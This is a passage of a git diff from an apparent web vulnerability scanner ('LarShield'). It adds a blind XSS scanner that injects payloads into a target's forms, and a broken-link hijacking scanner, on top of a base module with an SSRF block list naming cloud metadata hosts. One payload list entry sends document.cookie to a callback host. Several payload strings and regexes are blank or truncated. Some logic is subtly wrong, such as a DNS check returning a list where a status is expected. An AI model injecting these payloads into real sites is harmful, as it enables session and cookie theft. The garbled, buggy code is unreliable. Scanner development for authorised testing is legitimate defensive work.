datetime.now().strftime("%H:%M:%S") + safe_msg = _mask_secrets(message) + log_line = f"[{timestamp}] [{level}] {safe_msg}" + + with _logs_lock: + # GAP-004: ring buffer โ€” cap at MAX_LOG_LINES + logs = active_scan_logs.setdefault(scan_id, []) + if len(logs) >= MAX_LOG_LINES: + logs.pop(0) + logs.append(log_line) + + # Structured security event for critical/warning levels + if level in ("CRITICAL", "WARNING", "ERROR"): + _log_security_event(f"SCAN_{level}", scan_id, message, level) + + try: + print(log_line, flush=True) + except UnicodeEncodeError: + print(log_line.encode("ascii", "replace").decode("ascii"), flush=True) + + +def cleanup_scan_logs(scan_id: str) -> None: + with _logs_lock: + active_scan_logs.pop(scan_id, None) + + +def schedule_log_cleanup(scan_id: str, delay_seconds: int = 300) -> None: + """ + Schedule scan log cleanup after `delay_seconds` (default 5 min). + BUG-6 FIX: Prevents premature cleanup while frontend polls /logs. + """ + def _cleanup(): + time.sleep(delay_seconds) + cleanup_scan_logs(scan_id) + + t = threading.Thread(target=_cleanup, daemon=True) + t.start() + + +def parse_domain(url: str) -> str: + return ( + url.replace("https://", "") + .replace("http://", "") + .split("/")[0] + .split(":")[0] + .split("?")[0] + .strip() + ) + + +def build_vuln( + title: str, + severity: str, + category: str, + cvss_score: float, + description: str, + remediation: str, + evidence: str = "", + payload: str = "", + request_details: str = "", + response_details: str = "", + confidence: str = "Medium", + scanner_key: str = "unknown", + cve_ids: list | None = None, + references: list | None = None, + cwe_ids: list | None = None, + owasp_category: str | None = None, +) -> dict: + result = { + "title": _clean_nul(title), + "severity": _clean_nul(severity), + "category": _clean_nul(category), + "cvss_score": cvss_score, + "description": _clean_nul(description), + "remediation": _clean_nul(remediation), + "evidence": _mask_secrets(evidence), + "payload": _clean_nul(payload), + "request_details": _clean_nul(request_details), + "response_details": _mask_secrets(response_details), + "confidence": _clean_nul(confidence), + "scanner_key": _clean_nul(scanner_key), + "cve_ids": cve_ids or [], + "references": references or [], + "timestamp": datetime.now(timezone.utc).isoformat(), + } + if cwe_ids: + result["cwe_ids"] = cwe_ids + if owasp_category: + result["owasp_category"] = _clean_nul(owasp_category) + _classify_enrich(result, scanner_key) + return result + + +def make_ssl_context(verify: bool | None = None): + import ssl as _ssl + ctx = _ssl.create_default_context() + if verify is False or (verify is None and not DEFAULT_VERIFY_SSL): + ctx.check_hostname = False + ctx.verify_mode = _ssl.CERT_NONE + else: + # Enforce TLS 1.2+ minimum (report ยง1.3) + try: + ctx.minimum_version = _ssl.TLSVersion.TLSv1_2 + except AttributeError: + pass # Older Python โ€” skip + return ctx + + +def check_robots_txt(target: str, user_agent: str = "LarShield/2.0") -> RobotFileParser | None: + try: + parsed = urlparse(target) + robots_url = f"{parsed.scheme}://{parsed.netloc}/robots.txt" + rp = RobotFileParser(robots_url) + rp.read() + return rp + except Exception as e: + print(f"ERROR: [Base] check_robots_txt error: {e}") + return None + + +# โ”€โ”€ Blocked target sets (GAP-002) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +_BLOCKED_HOSTS = frozenset({ + "localhost", "127.0.0.1", "::1", "0.0.0.0", + "169.254.169.254", # AWS/Azure IMDS + "metadata.google.internal", # GCP metadata + "100.100.100.200", # Alibaba Cloud ECS metadata + "kubernetes.default.svc", + "kubernetes.default", +}) +_BLOCKED_SCHEMES = frozenset({"file", "ftp", "gopher", "dict", "ldap", "ldaps"}) + +# Raised from 60โ†’150 to reduce per-scanner throttle waits and cut scan time +_SCANNER_RATE_LIMIT = int(os.environ.get("SCANNER_RATE_LIMIT", "150")) +_SCANNER_RATE_WINDOW = int(os.environ.get("SCANNER_RATE_WINDOW", "60")) + +# โ”€โ”€ Module-level shared SSL context (avoids rebuilding per-instance) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +_SHARED_SSL_CONTEXT = None +_SSL_CONTEXT_LOCK = threading.Lock() + +def _get_shared_ssl_context(): + """Return (or lazily create) a module-level SSL context.""" + global _SHARED_SSL_CONTEXT + if _SHARED_SSL_CONTEXT is None: + with _SSL_CONTEXT_LOCK: + if _SHARED_SSL_CONTEXT is None: + _SHARED_SSL_CONTEXT = make_ssl_context(None) + return _SHARED_SSL_CONTEXT + + +class TokenBucket: + def __init__(self, rate: int = 60, window: int = 60): + self._rate = rate + self._window = window + self._tokens = rate + self._last_refill = time.monotonic() + self._lock = threading.Lock() + + def _refill(self): + now = time.monotonic() + elapsed = now - self._last_refill + self._tokens = min(self._rate, self._tokens + elapsed * (self._rate / self._window)) + self._last_refill = now + + def acquire(self, block: bool = True) -> bool: + with self._lock: + self._refill() + if self._tokens >= 1: + self._tokens -= 1 + return True + if block: + sleep_time = (self._window / self._rate) * 1.1 + time.sleep(sleep_time) + self._refill() + if self._tokens >= 1: + self._tokens -= 1 + return True + return False + + +class BaseScanner: + SCANNER_NAME: str = "Base Scanner" + + def __init__( + self, + scan_id: str, + target: str, + domain: str, + auth_headers: dict | None = None, + verify_ssl: bool | None = None, + red_team: bool = False, + **kwargs, + ) -> None: + self.scan_id = scan_id + self.target = target + self.domain = domain + self.auth_headers = auth_headers or {} + self.verify_ssl = verify_ssl + self.red_team = red_team + self.vulns: list[dict] = [] + self._ssl_context = None + self._robots_parser = None + + # GAP-ADV: Centralized discovery context to prevent redundant crawling + self.discovery_context = kwargs.get("discovery_context", {}) + + # PHASE 1: Build per-scan site baseline for SPA/404 false-positive suppression + self._baseline = SiteBaseline() + try: + ssl_ctx = make_ssl_context(verify_ssl) + self._baseline.build( + target, + ssl_context=ssl_ctx, + headers={"User-Agent": "LarShield/2.0"}, + timeout=6, + ) + except Exception as _be: + add_log(scan_id, "WARNING", f"[Base] Baseline build error (suppression disabled): {_be}") + + # BUG-12 FIX: Validate target on init so ALL scanners are protected. + # We catch ValueError here (not re-raise) to log and continue โ€” some + # scan types like API scanners may legitimately call with non-HTTP URLs. + try: + self._validate_target(self.target) + except ValueError as e: + add_log(scan_id, "WARNING", + f"[Base] Target validation warning for '{target}': {e}") + + # โ”€โ”€ SSL / robots โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def get_ssl_context(self): + if self._ssl_context is None: + self._ssl_context = make_ssl_context(self.verify_ssl) + return self._ssl_context + + def get_robots_parser(self): + if self._robots_parser is None: + self._robots_parser = check_robots_txt(self.target) + return self._robots_parser + + def can_fetch(self, path: str = "/") -> bool: + rp = self.get_robots_parser() + if rp is None: + return True + return rp.can_fetch("LarShield/2.0", path) + + # โ”€โ”€ PHASE 1: Baseline convenience helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def _is_baseline(self, status: int, body: str | bytes) -> bool: + """ + Return True when this response matches the site's generic SPA/404 catch-all. + Use this before reporting any path as "found" to suppress false positives. + """ + return self._baseline.is_baseline(status, body) + + def _is_not_found(self, status: int, body: str | bytes = b"") -> bool: + """True when status >= 400 OR response matches the baseline catch-all.""" + return self._baseline.is_not_found(status, body) + + # โ”€โ”€ Logging โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def log(self, level: str, message: str) -> None: + add_log(self.scan_id, level, message) + # Emit real-time log event + emit_scan_progress(self.scan_id, 'scan_log', { + 'level': level, + 'message': message, + 'timestamp': datetime.now(timezone.utc).isoformat() + }) + + # โ”€โ”€ Vulnerability reporting โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def add_vuln( + self, + title: str, + severity: str, + category: str, + cvss_score: float, + description: str, + remediation: str, + evidence: str = "", + payload: str = "", + request_details: str = "", + response_details: str = "", + confidence: str = "Medium", + cve_ids: list | None = None, + references: list | None = None, + cwe_ids: list | None = None, + owasp_category: str | None = None, + ) -> None: + vuln = build_vuln( + title, severity, category, cvss_score, + description, remediation, + evidence, payload, request_details, response_details, + confidence=confidence, + scanner_key=getattr(self, "_SCANNER_KEY", "unknown"), + cve_ids=cve_ids, + references=references, + cwe_ids=cwe_ids, + owasp_category=owasp_category, + ) + # Inline dedup: skip if same title+category already recorded this run + for existing in self.vulns: + if existing["title"] == vuln["title"] and existing["category"] == vuln["category"]: + # Update confidence if the new one is stronger + conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3} + if conf_rank.get(vuln["confidence"], 0) > conf_rank.get(existing["confidence"], 0): + existing["confidence"] = vuln["confidence"] + if vuln.get("payload"): + existing["payload"] = vuln["payload"] + if vuln.get("evidence"): + existing["evidence"] = vuln["evidence"] + return + self.vulns.append(vuln) + # Emit real-time vulnerability found event + emit_scan_progress(self.scan_id, 'vulnerability_found', { + 'title': title, + 'severity': severity, + 'category': category, + 'cvss_score': cvss_score, + 'confidence': confidence, + 'scanner_key': getattr(self, "_SCANNER_KEY", "unknown"), + 'timestamp': datetime.now(timezone.utc).isoformat() + }) + + def run(self) -> list[dict]: + raise NotImplementedError("Subclasses must implement run()") + + # โ”€โ”€ GAP-003: Unified auth-aware HTTP helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def _make_headers(self, additional: dict | None = None) -> dict: + """Build headers dict merging auth_headers (always include for authenticated scanning).""" + headers = {"User-Agent": "LarShield/2.0"} + if self.auth_headers: + headers.update(self.auth_headers) + if additional: + headers.update(additional) + return headers + + def _throttle(self): + """Rate-limit requests per scanner instance. Blocks (sleeps) when rate limit is hit.""" + if not hasattr(self, '_bucket'): + self._bucket = TokenBucket(_SCANNER_RATE_LIMIT, _SCANNER_RATE_WINDOW) + self._bucket.acquire(block=True) + + def _make_request( + self, + url: str, + method: str = "GET", + data: bytes | None = None, + headers: dict | None = None, + timeout: int = 15, # Increased from 5s -> 15s to handle slower external sites + return_response_obj: bool = False, + ) -> tuple[str | None, int] | tuple[str | None, int, dict]: + """ + Unified HTTP request helper โ€” always includes auth_headers. + Returns (body_str, status_code). On error returns (None, 0). + Automatically handles HTTPError bodies. + """ + self._throttle() + req_headers = self._make_headers(headers) + # Add Connection: close to prevent keep-alive pool exhaustion on stressed targets + req_headers.setdefault("Connection", "close") + # Use shared SSL context to avoid per-call context creation overhead + ssl_ctx = _get_shared_ssl_context() if self.verify_ssl is None else self.get_ssl_context() + + # PHASE 7.3: Retry with backoff on IncompleteRead / transient errors + _RETRY_DELAYS = [0.0, 0.5, 1.5] # 3 attempts: immediate, +0.5s, +1.5s + for _attempt, _delay in enumerate(_RETRY_DELAYS): + if _delay: + time.sleep(_delay) + try: + req = urllib.request.Request( + url, data=data, headers=req_headers, method=method + ) + with urllib.request.urlopen( + req, timeout=timeout, context=ssl_ctx + ) as r: + body = r.read().decode("utf-8", errors="ignore") + if return_response_obj: + return body, r.status, r.headers # type: ignore[return-value] + return body, r.status + except http.client.IncompleteRead as e: + if _attempt < len(_RETRY_DELAYS) - 1: + self.log("WARNING", f"[Base] IncompleteRead on {url} (attempt {_attempt+1}), retrying...") + continue + # Last attempt โ€” return partial data + partial = e.partial.decode("utf-8", errors="ignore") if e.partial else "" + if return_response_obj: + return partial, 200, {} # type: ignore[return-value] + return partial, 200 + except urllib.error.HTTPError as e: + try: + body = e.read().decode("utf-8", errors="ignore") + except Exception as ex: + self.log("ERROR", f"[Base] _make_request HTTPError body read error: {ex}") + body = "" + if return_response_obj: + return body, e.code, e.headers # type: ignore[return-value] + return body, e.code + except ValueError as e: + err_str = str(e).lower() + # Suppress expected errors from newline/CRLF injection payloads in headers + if "control characters" in err_str or "invalid header" in err_str: + if return_response_obj: + return None, 0, {} # type: ignore[return-value] + return None, 0 + self.log("ERROR", f"[Base] _make_request ValueError: {e}") + if return_response_obj: + return None, 0, {} # type: ignore[return-value] + return None, 0 + except Exception as e: + # Suppress verbose logging for expected/common probe errors + err_str = str(e).lower() + _suppressed = ( + "timed out", "connection refused", "name or service", + "getaddrinfo", # DNS resolution failure + "errno 11001", # Windows: getaddrinfo failed + "control characters", # Expected when CRLF payloads hit urllib + "no connection could be made", + "actively refused", + "10054", # Connection forcibly closed + "forcibly closed", + ) + if not any(x in err_str for x in _suppressed): + self.log("ERROR", f"[Base] _make_request error: {e}") + if return_response_obj: + return None, 0, {} # type: ignore[return-value] + return None, 0 + # Should not reach here + if return_response_obj: + return None, 0, {} # type: ignore[return-value] + return None, 0 + + + def _make_timed_request( + self, url: str, method: str = "GET", + data: bytes | None = None, headers: dict | None = None, timeout: int = 8, + ) -> tuple[str | None, int, float]: + """Returns (body, status, elapsed_seconds). Used for timing-based detection.""" + t0 = time.monotonic() + body, status = self._make_request(url, method, data, headers, timeout) + return body, status, time.monotonic() - t0 + + # โ”€โ”€ GAP-ADV: Concurrent execution helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def _make_async_requests( + self, + requests_list: list[dict], + max_workers: int = 10, # PHASE 7.3: Reduced 25 โ†’ 10 to prevent connection pool exhaustion + ) -> list[tuple[dict, str | None, int]]: + """ + Executes a list of requests concurrently using a thread pool. + Each request in `requests_list` must be a dict with keys: + 'url' (required), optionally 'method', 'data', 'headers', 'timeout'. + Returns a list of tuples: (request_dict, response_body, status_code). + """ + import concurrent.futures + + results: list[tuple[dict, str | None, int]] = [] + + def worker(req: dict) -> tuple[dict, str | None, int]: + url = req.get("url") + if not url: + return req, None, 0 + method = req.get("method", "GET") + data = req.get("data") + headers = req.get("headers") + timeout = req.get("timeout", 15) # Consistent 15s default + body, status = self._make_request(url, method, data, headers, timeout) + return req, body, status + + with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor: + future_to_req = {executor.submit(worker, req): req for req in requests_list} + for future in concurrent.futures.as_completed(future_to_req): + req = future_to_req[future] + try: + res = future.result() + results.append(res) + except Exception as exc: + self.log("ERROR", f"[Base] _make_async_requests future error: {exc}") + results.append((req, None, 0)) + + return results + + # โ”€โ”€ URL helpers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def _safe_url_join(self, base: str, path: str) -> str: + """ + Safely join a base URL with a relative path. + Handles edge cases like missing slashes, query strings, fragments. + """ + try: + if path.startswith("http://") or path.startswith("https://"): + return path + return urljoin(base.rstrip("/") + "/", path.lstrip("/")) + except Exception: + return base + + def _deduplicate_vulns(self) -> None: + """ + Remove duplicate vulnerabilities from self.vulns in-place. + Dedup key: (title, category). + Keeps the highest-confidence occurrence. + """ + seen: dict[tuple, dict] = {} + conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3} + for v in self.vulns: + key = (v["title"], v["category"]) + if key not in seen: + seen[key] = v + else: + existing_rank = conf_rank.get(seen[key].get("confidence", "Low"), 0) + new_rank = conf_rank.get(v.get("confidence", "Low"), 0) + if new_rank > existing_rank: + seen[key] = v + self.vulns = list(seen.values()) + + # โ”€โ”€ GAP-002: Target SSRF self-protection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + + def _validate_target(self, url: str | None = None) -> None: + """ + Prevent the scanner engine from being used as an SSRF pivot. + Raises ValueError for blocked targets. + BUG-12 FIX: Now called in __init__ automatically for every scanner. + """ + target = url or self.target + try: + p = urlparse(target) + except Exception as exc: + raise ValueError(f"Invalid URL: {exc}") from exc + + # Block dangerous schemes + if p.scheme in _BLOCKED_SCHEMES: + raise ValueError(f"Blocked URL scheme: {p.scheme!r}") + + hostname = (p.hostname or "").lower().strip() + if not hostname: + raise ValueError("URL has no hostname") + + # Block known metadata / internal service hostnames + if hostname in _BLOCKED_HOSTS: + raise ValueError(f"Blocked host: {hostname}") + + # Block private / loopback / link-local IP ranges + try: + ip = ipaddress.ip_address(hostname) + if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast: + raise ValueError(f"Private/internal IP blocked: {ip}") + except ValueError as exc: + if "Blocked" in str(exc) or "Private" in str(exc) or "internal" in str(exc): + raise # Re-raise our own checks + # Not an IP address (it's a hostname) โ€” fine, proceed + pass diff --git a/backend/scanners/blind_xss_scanner.py b/backend/scanners/blind_xss_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..58b86e959c0152ee3f02e554d2e8b36639ef9a17 --- /dev/null +++ b/backend/scanners/blind_xss_scanner.py @@ -0,0 +1,126 @@ +import re +import urllib.request +import urllib.parse + +from scanners.base_scanner import BaseScanner, XSS_CALLBACK_URL + +BLIND_XSS_PAYLOADS = [ + f'">', + f"';new Image().src='{XSS_CALLBACK_URL}/?c='+document.cookie//", + f'">', +] + +FORM_INPUT_TYPES = ["text", "email", "search", "url", "tel", "textarea"] + + +class BlindXssScanner(BaseScanner): + SCANNER_NAME = "Blind XSS (Out-of-Band) Scanner" + _SCANNER_KEY = "blind_xss" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + def run(self) -> list: + self.log("INFO", f"[BlindXSS] Injecting blind XSS payloads into forms on {self.target}...") + self.log("INFO", f"[BlindXSS] Using callback URL: {XSS_CALLBACK_URL}") + try: + req = urllib.request.Request( + self.target, headers=self._make_headers() + ) + with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r: + html = r.read().decode("utf-8", errors="ignore") + except Exception as e: + self.log("WARNING", f"[BlindXSS] Error: {e}") + return self.vulns + + forms = self._parse_forms(html) + if not forms: + self.log("INFO", "[BlindXSS] No forms found to inject into.") + return self.vulns + + injected_endpoints = [] + for form in forms[:5]: + action = form.get("action") or self.target + if not action.startswith("http"): + from urllib.parse import urljoin + action = urljoin(self.target, action) + fields = form.get("fields", []) + if not fields: + continue + payload = BLIND_XSS_PAYLOADS[0] + post_data = {} + for field in fields: + field_type = field.get("type", "text").lower() + if field_type in FORM_INPUT_TYPES: + post_data[field["name"]] = payload + elif field_type == "hidden": + post_data[field["name"]] = field.get("value", "") + elif field_type == "email": + post_data[field["name"]] = "test@test.com" + payload + if post_data: + try: + data = urllib.parse.urlencode(post_data).encode() + req = urllib.request.Request( + action, + data=data, + method=form.get("method", "POST").upper(), + headers={ + "User-Agent": "LarShield/2.0", + "Content-Type": "application/x-www-form-urlencoded", + }, + ) + urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) + injected_endpoints.append(action) + self.log("INFO", f"[BlindXSS] Payload injected into: {action}") + except Exception as e: + self.log("ERROR", f"[BlindXSS] Injection error: {e}") + injected_endpoints.append(action + " (injection attempted)") + + if injected_endpoints: + self.add_vuln( + title=f"Blind XSS Payloads Submitted to {len(injected_endpoints)} Form(s) โ€” Awaiting Callback", + severity="Low", + category="Blind XSS", + cvss_score=0.0, + confidence="Low", + description=( + f"Out-of-band XSS payloads were submitted to {len(injected_endpoints)} form endpoint(s).\n" + f"Callback listener configured at: {XSS_CALLBACK_URL}\n\n" + + "\n".join(f"- `{e}`" for e in injected_endpoints) + + "\n\n**This is NOT a confirmed finding.** Blind XSS requires an external callback " + "to verify execution. Monitor your XSS hunter / callback server for incoming " + f"requests from `{XSS_CALLBACK_URL}`. If a callback is received, escalate to Critical." + ), + remediation=( + "1. If a callback IS received: Apply output encoding on ALL stored user data rendered in admin panels.\n" + "2. Implement a strict CSP on admin interfaces.\n" + "3. Use DOMPurify on any admin UI that renders user-submitted content.\n" + "4. If no callback is received within 24h, the forms are likely not vulnerable." + ), + ) + else: + self.log("SUCCESS", "[BlindXSS] No injectable forms found.") + return self.vulns + + def _parse_forms(self, html): + forms = [] + for form_html in re.findall(r"]*>.*?", html, re.S | re.I): + action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I) + method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I) + fields = [] + for inp in re.findall(r"<(?:input|textarea)[^>]*>", form_html, re.I): + name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I) + type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I) + val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I) + if name_m: + fields.append({ + "name": name_m.group(1), + "type": type_m.group(1) if type_m else "text", + "value": val_m.group(1) if val_m else "", + }) + forms.append({ + "action": action.group(1) if action else "", + "method": method.group(1) if method else "POST", + "fields": fields, + }) + return forms diff --git a/backend/scanners/broken_link_scanner.py b/backend/scanners/broken_link_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..396ccea4b53434b9782bf37b19efdda83bf316b1 --- /dev/null +++ b/backend/scanners/broken_link_scanner.py @@ -0,0 +1,256 @@ +import re +import socket +import urllib.request +import urllib.error +from urllib.parse import urlparse +from scanners.base_scanner import BaseScanner + +HIJACK_RISK = { + "script": {"weight": 5, "desc": "JavaScript โ€” full XSS capability"}, + "link": {"weight": 4, "desc": "CSS stylesheet โ€” content injection, form hijacking"}, + "iframe": {"weight": 4, "desc": "iframe โ€” page content takeover"}, + "src": {"weight": 3, "desc": "Embedded resource (image/font/object)"}, + "href": {"weight": 2, "desc": "Hyperlink โ€” reputation/phishing risk"}, +} + +EXTERNAL_PATTERNS = [ + (r']+src=["\'](https?://[^"\'>\s]+)', "script"), + (r']+href=["\'](https?://[^"\'>\s]+\.css[^"\'>\s]*)', "link"), + (r']+src=["\'](https?://[^"\'>\s]+)', "iframe"), + (r']+src=["\'](https?://[^"\'>\s]+)', "src"), + (r']+src=["\'](https?://[^"\'>\s]+)', "src"), + (r'@import\s+["\'](https?://[^"\'>\s]+)', "link"), + (r'url\(["\']?(https?://[^"\'>\s]+)', "src"), + (r']+href=["\'](https?://[^"\'>\s]+)', "href"), +] + +DANGEROUS_RESOURCE_EXTS = {".js", ".css", ".woff", ".woff2", ".ttf", ".eot", ".svg", ".ico"} + +COMMON_CNAME_TAKEOVER_SIGNATURES = [ + "herokudns.com", "herokuapp.com", "heroku.com", + "cloudfront.net", "s3.amazonaws.com", "s3-website", + "github.io", "githubusercontent.com", + "unbouncepages.com", "unbounce.com", + "surge.sh", "netlify.app", "netlify.com", + "pages.dev", "workers.dev", + "azureedge.net", "azurewebsites.net", "trafficmanager.net", + "elb.amazonaws.com", "us-east-1.elb.amazonaws.com", + "firebaseapp.com", "web.app", + "wordpress.com", "wpengine.com", + "squarespace.com", "squarespaceusercontent.com", + "myshopify.com", "shopify.com", + "bilohost.com", "pantheonsite.io", + "aftership.com", "ghost.io", + "fastly.net", "glitch.me", + "bitbucket.io", "readme.io", + "statuspage.io", "atlassian.net", + "myshopify.io", "teachable.com", + "thinkific.com", "clickfunnels.com", + "cargocollective.com", "tictail.com", + "zendesk.com", "freshdesk.com", + "helpscout.net", "intercom.io", +] + +EXPIRED_REGISTRAR_INDICATORS = [ + "this domain", "domain is parked", "buy this domain", + "domain is for sale", "expired", "registrar", + "whois protection", "this domain may be for sale", + "domain not found", "no website configured", + "server dns address could not be found", + "this site is not available", + "this domain registration", + "pending renewal", +] + + +class BrokenLinkScanner(BaseScanner): + SCANNER_NAME = "Broken Link Hijacking Scanner" + _SCANNER_KEY = "broken_link" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._page_html = "" + self._resources: list[dict] = [] + + def run(self) -> list: + self.log("INFO", f"[BrokenLink] Scanning {self.target} for hijackable external resources...") + self._fetch_page() + if not self._page_html: + return self.vulns + self._extract_external_resources() + self._audit_resource_domains() + self._check_unregistered_domains() + self._check_nxdomain_resources() + return self.vulns + + def _fetch_page(self): + try: + body, code = self._make_request(self.target, timeout=10) + if body: + self._page_html = body + except Exception as e: + self.log("ERROR", f"[BrokenLink] Fetch failed: {e}") + + def _extract_external_resources(self): + found = set() + for pattern, rtype in EXTERNAL_PATTERNS: + for match in re.finditer(pattern, self._page_html, re.I): + url = match.group(1).split('"')[0].split("'")[0].split(">")[0].strip() + if self.domain not in url and url not in found: + found.add(url) + self._resources.append({"url": url, "type": rtype}) + self.log("INFO", f"[BrokenLink] Found {len(self._resources)} external resource(s)") + + def _audit_resource_domains(self): + for res in self._resources: + self._check_resource(res) + + def _check_resource(self, res: dict): + url = res["url"] + parsed = urlparse(url) + hostname = parsed.hostname or "" + rtype = res["type"] + base_weight = HIJACK_RISK.get(rtype, {}).get("weight", 1) + ext = self._get_extension(url) + is_js_or_css = ext in DANGEROUS_RESOURCE_EXTS + + status, body, resolved = self._probe_resource(url) + if status is None: + return + + indicators = [] + if status in (404, 410): + indicators.append(f"HTTP {status} Not Found โ€” resource missing") + elif status in (403, 401): + indicators.append(f"HTTP {status} โ€” access denied, may be misconfigured") + elif status == 200 and self._is_expired_landing(body): + indicators.append("HTTP 200 with domain-parked/expired content") + + if not resolved: + nx = self._check_nxdomain(hostname) + if nx == "nxdomain": + indicators.append("DNS NXDOMAIN โ€” domain does not exist") + elif nx == "takeover_candidate": + cname = self._get_cname(hostname) + indicators.append(f"CNAME to known takeover-vulnerable service ({cname}) โ€” hijackable") + base_weight = min(base_weight + 2, 5) + + if not indicators: + return + + severity = self._severity_from_weight(base_weight) + cvss = self._cvss_from_weight(base_weight, len(indicators), is_js_or_css) + + self.add_vuln( + title=f"Broken Link Hijacking โ€” {url[:80]}", + severity=severity, + category="Broken Link Hijacking", + cvss_score=cvss, + description=( + f"External {rtype} resource hijackable:\n" + f" URL: {url}\n" + f" Type: {HIJACK_RISK.get(rtype, {}).get('desc', rtype)}\n" + f" Indicators:\n" + "\n".join(f" - {i}" for i in indicators) + ), + remediation=( + "Remove or replace the resource. For critical JS/CSS/fonts, " + "self-host or use a integrity-managed CDN (SRI). " + "Monitor external dependencies for expiration." + ), + evidence=f"Resource URL: {url}\n" + "\n".join(indicators), + payload="", + request_details=f"GET {url}", + response_details=f"HTTP {status}, body length {len(body or '')}", + confidence="Confirmed" if base_weight >= 4 else "High", + ) + + def _probe_resource(self, url: str) -> tuple[int | None, str | None, bool]: + try: + body, code = self._make_request(url, timeout=6) + if code and code < 400 and body: + return code, body, True + return code, body, False + except Exception: + return None, None, False + + def _check_unregistered_domains(self): + domains = set() + for res in self._resources: + host = urlparse(res["url"]).hostname + if host: + domains.add(host) + for domain in domains: + nx = self._check_nxdomain(domain) + if nx: + desc = "NXDOMAIN โ€” domain not registered" if nx == "nxdomain" else f"CNAME to vulnerable service ({self._get_cname(domain)})" + cvss = 5.3 if nx == "nxdomain" else 7.5 + self.add_vuln( + title=f"Expired External Domain โ€” {domain}", + severity="High" if nx == "takeover_candidate" else "Medium", + category="Broken Link Hijacking", + cvss_score=cvss, + description=f"External domain {domain} referenced by page resources: {desc}. Attacker can register this domain and serve malicious content.", + remediation="Remove references to this domain or ensure it remains registered and controlled.", + evidence=f"Domain: {domain}\nDNS result: {desc}", + confidence="High", + ) + + def _check_nxdomain_resources(self): + pass + + def _check_nxdomain(self, hostname: str) -> str | None: + hostname = hostname.lower().strip() + try: + socket.getaddrinfo(hostname, 80, socket.AF_INET) + cname = self._get_cname(hostname) + if cname: + for sig in COMMON_CNAME_TAKEOVER_SIGNATURES: + if sig in cname: + return "takeover_candidate" + return self.vulns + except socket.gaierror: + pass + try: + socket.getaddrinfo(hostname, 80, socket.AF_INET6) + return self.vulns + except socket.gaierror: + return "nxdomain" + + def _get_cname(self, hostname: str) -> str: + try: + result = socket.getaddrinfo(hostname, 80, socket.AF_INET) + for res in result: + canon = res[3] + if canon and canon != hostname and not canon.startswith("("): + return canon + except Exception: + pass + return "" + + def _get_extension(self, url: str) -> str: + path = urlparse(url).path.lower() + match = re.search(r'(\.[a-z0-9]+)(?:\?|#|$)', path) + return match.group(1) if match else "" + + def _is_expired_landing(self, body: str | None) -> bool: + if not body: + return False + body_lower = body.lower() + matches = sum(1 for ind in EXPIRED_REGISTRAR_INDICATORS if ind in body_lower) + return matches >= 2 + + def _severity_from_weight(self, w: int) -> str: + if w >= 5: + return "Critical" + if w >= 4: + return "High" + if w >= 3: + return "Medium" + 